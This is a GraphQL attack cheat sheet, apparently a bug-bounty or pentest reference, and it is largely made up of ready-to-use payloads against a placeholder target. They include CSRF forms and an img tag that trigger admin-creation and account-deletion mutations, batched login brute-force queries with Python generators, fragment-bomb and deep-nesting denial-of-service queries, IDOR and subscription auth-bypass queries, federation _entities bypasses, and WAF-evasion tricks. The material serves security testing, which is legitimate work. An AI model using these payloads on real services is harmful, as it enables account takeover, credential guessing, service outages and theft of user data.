GraphQL Attacks¶
TL;DR¶
GraphQL exposes rich attack surface: introspection for schema discovery, batch queries for rate limit bypass, nested queries for DoS, and authorization bypasses.
Check WebSocket endpoints when HTTP introspection is disabled.
Detection¶
Identify Endpoints¶
Check Introspection¶
If returns schema → introspection enabled.
Exploitation¶
Introspection¶
Full Schema Dump:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
kind name description
fields(includeDeprecated: true) {
name type { kind name }
}
}
}
}
Deprecated fields often still work:
Authorization Bypasses¶
CSRF via GET:
<form action="https://target.com/api/graphql/" method="GET">
<input name="query" value="mutation { createSnippet(...) }">
</form>
<script>document.forms[0].submit()</script>
Cross-Scope Data Access:
# Access location data without permissions
query { locations { id address { address1 city } } }
# Extract API keys
query { publications(first: 100) { edges { node { app { apiKey } } } } }
Batch Query Abuse¶
Rate Limit Bypass:
mutation BulkReports($team: String!) {
q0: createReport(input: {team_handle: $team}) { was_successful }
q1: createReport(input: {team_handle: $team}) { was_successful }
# ... repeat 75 times
}
Query Alias Abuse:
query {
user1: user(id: "1") { name email }
user2: user(id: "2") { name email }
user3: user(id: "3") { name email }
}
DoS Attacks¶
Circular Introspection:
Regex DoS:
Field Explosion:
WebSocket Introspection Bypass¶
When HTTP disables introspection:
ws = new WebSocket("wss://target.com/graphql");
ws.send(JSON.stringify({type: "connection_init"}));
ws.send(JSON.stringify({
id: "1",
type: "start",
payload: {query: "{ __schema { types { name } } }"}
}));
Bypasses¶
Introspection Disabled¶
- Check WebSocket endpoint
- Use field suggestion errors
- Brute force common field names
- Check GraphiQL/Playground endpoints
Authorization¶
- Test mutations via GET (CSRF bypass)
- Query deprecated fields
- Use relationships to pivot
- Check subscription permissions separately
Real Examples¶
- HackerOne #291531: Full schema via introspection
- HackerOne #862835: WebSocket introspection bypass
- HackerOne #1122408 (GitLab): CSRF via GET mutations
- HackerOne #984965 (TikTok): Cross-tenant IDOR
- HackerOne #1091303 (Shopify POS): Manager PIN disclosure
- HackerOne #2166697: 75 reports per request batch abuse
- HackerOne #2048725 (Sorare): Circular introspection DoS
Tools¶
# Quick introspection check
curl -X POST -H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' \
https://target.com/graphql
# Tools
- GraphQL Voyager (schema viz)
- InQL (Burp extension)
- graphql-cop (security auditor)
- Altair GraphQL Client
Batch Generator¶
def generate_batch(operation, count):
queries = [f'q{i}: {operation}' for i in range(count)]
return 'query Batch { ' + ' '.join(queries) + ' }'
print(generate_batch('user(id:"1"){name}', 100))
Advanced GraphQL Techniques¶
Implementation Fingerprinting¶
Identify the GraphQL implementation to know which protections are missing by default:
Security defaults by implementation:
| Implementation | Field Suggestions | Depth Limit | Cost Analysis | Batch Requests |
|---|---|---|---|---|
| Apollo | ✅ ON | ⚠️ off | ⚠️ off | ✅ ON |
| graphql-php | ✅ ON | ⚠️ off | ⚠️ off | ⚠️ off |
| wp-graphql | ✅ ON | ⚠️ off | ❌ none | ✅ ON |
| graphene (Python) | ✅ ON | ❌ none | ❌ none | ⚠️ off |
| graphql-ruby | ✅ ON | ⚠️ off | ⚠️ off | ✅ ON |
| gqlgen (Go) | ✅ ON | ❌ none | ⚠️ off | ⚠️ off |
| Tartiflette | ❌ none | ❌ none | ❌ none | ❌ none |
- Apollo / wp-graphql / graphql-ruby → test batching attacks first
- graphene / gqlgen / Tartiflette → no depth limit → nested DoS possible
- Most implementations → no cost analysis → resource exhaustion viable
Mutation Auth Bypass via GET¶
Mutations triggered as GET requests bypass CSRF protection and some authorization middleware:
<!-- CSRF via GET mutation (no state-changing verb required) -->
<img src="https://target.com/graphql?query=mutation{deleteAccount(id:1)}">
<form action="https://target.com/api/graphql/" method="GET">
<input name="query" value="mutation { createAdmin(email: "attacker@evil.com") { token } }">
</form>
<script>document.forms[0].submit()</script>
Query Cost Exploitation¶
If the server has no cost analysis, exploit with expensive nested queries:
# Fragment bomb — exponential expansion
fragment A on User { ...B ...B }
fragment B on User { ...C ...C }
fragment C on User { ...D ...D }
fragment D on User { id email role permissions { name } }
query Bomb { user(id: "1") { ...A } }
# Deep nesting — hits N+1 query problem
query Deep {
users {
friends {
friends {
friends {
friends {
friends { id email }
}
}
}
}
}
}
Impact: CPU/memory exhaustion → DoS. Even with depth limits, fragment bombs bypass them unless cost is calculated on expanded fragments.
Alias-Based IDOR¶
Use aliases to access multiple objects in one request and compare owned vs. foreign:
query {
mine: user(id: "MY_ID") {
id email role adminNotes
}
victim: user(id: "VICTIM_ID") {
id email role adminNotes
}
}
If victim returns data → IDOR confirmed. One request proves both access and impact.
Batching for Rate Limit Bypass¶
Array-based batching (supported by Apollo, wp-graphql, graphql-ruby):
[
{"query": "mutation { login(email: \"admin@target.com\", password: \"pass1\") { token } }"},
{"query": "mutation { login(email: \"admin@target.com\", password: \"pass2\") { token } }"},
{"query": "mutation { login(email: \"admin@target.com\", password: \"pass3\") { token } }"}
]
# Batch generator
def generate_array_batch(email, passwords):
return [
{"query": f'mutation {{ login(email: "{email}", password: "{pw}") {{ token }} }}'}
for pw in passwords
]
Alias-based batching (works on any implementation):
mutation BulkLogin {
a: login(email: "admin@target.com", password: "pass1") { token }
b: login(email: "admin@target.com", password: "pass2") { token }
c: login(email: "admin@target.com", password: "pass3") { token }
}
Subscription Auth Bypass¶
Authorization is often checked only at WebSocket handshake, not per-message:
# Subscribe to another user's events
subscription {
orderUpdates(userId: "VICTIM_ID") {
orderId status items { name price }
}
}
# Cross-tenant via shared resolver
subscription {
notifications(filter: { tenantId: "OTHER_TENANT_ID" }) {
message data
}
}
// Subscribe via raw WebSocket when HTTP introspection is blocked
const ws = new WebSocket("wss://target.com/graphql");
ws.onopen = () => {
ws.send(JSON.stringify({type: "connection_init", payload: {}}));
ws.send(JSON.stringify({
id: "1", type: "start",
payload: { query: "subscription { orderUpdates(userId: \"VICTIM_ID\") { orderId status } }" }
}));
};
ws.onmessage = (e) => console.log(e.data);
Federation _entities Bypass¶
In GraphQL Federation, gateway applies auth but subgraphs may not:
# Direct subgraph request (bypassing gateway auth)
query {
_entities(representations: [
{ __typename: "User", id: "ADMIN_USER_ID" }
]) {
... on User {
email
role
internalNotes
paymentMethods { last4 }
}
}
}
# Identify subgraph endpoints (often on different ports/paths)
# Gateway: https://target.com/graphql
# Subgraph: https://target.com:4001/graphql (internal) or /api/users/graphql
WAF Evasion¶
# Fragment-based splitting (breaks WAF pattern "email")
fragment F on User { em }
query { user { ...F ail } } # Concatenates to "email"
# Unicode escapes
query { user { \u0065mail } } # \u0065 = 'e'
# Block string triple-quotes
query { user(id: """1""") { email } }
# GET request (avoids POST body inspection)
GET /graphql?query={user(id:"1"){email}}
# Newline in introspection query (breaks regex matching)
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
@defer Directive — Gated Field Bypass¶
# Gated fields may leak via incremental delivery
query {
me { id username }
... @defer {
adminPanel { secretConfig apiKeys }
}
}
Check if @defer is supported (apollo-require-preflight header may be required).
Relay Node ID Decoding¶
# Decode base64 global IDs
echo "VXNlcjoxMjM=" | base64 -d
# → User:123
# Query by decoded ID
query {
node(id: "VXNlcjoxMjM=") {
... on User { email role internalId }
... on Order { total status items }
}
}
Advanced Checklist¶
- Fingerprint GraphQL implementation with graphw00f
- Test batching (array + alias) for rate limit bypass
- Test alias IDOR (own vs foreign objects in one query)
- Test mutations via GET (CSRF bypass)
- Test subscription auth (per-message vs handshake-only)
- Attempt query cost exhaustion (fragment bomb, deep nesting)
- Test
_entitieson federation subgraph endpoints directly - Decode Relay node IDs and enumerate objects
- Test
@deferand@streamfor gated field leakage - Apply WAF evasion (fragment split, unicode escape, GET, newline)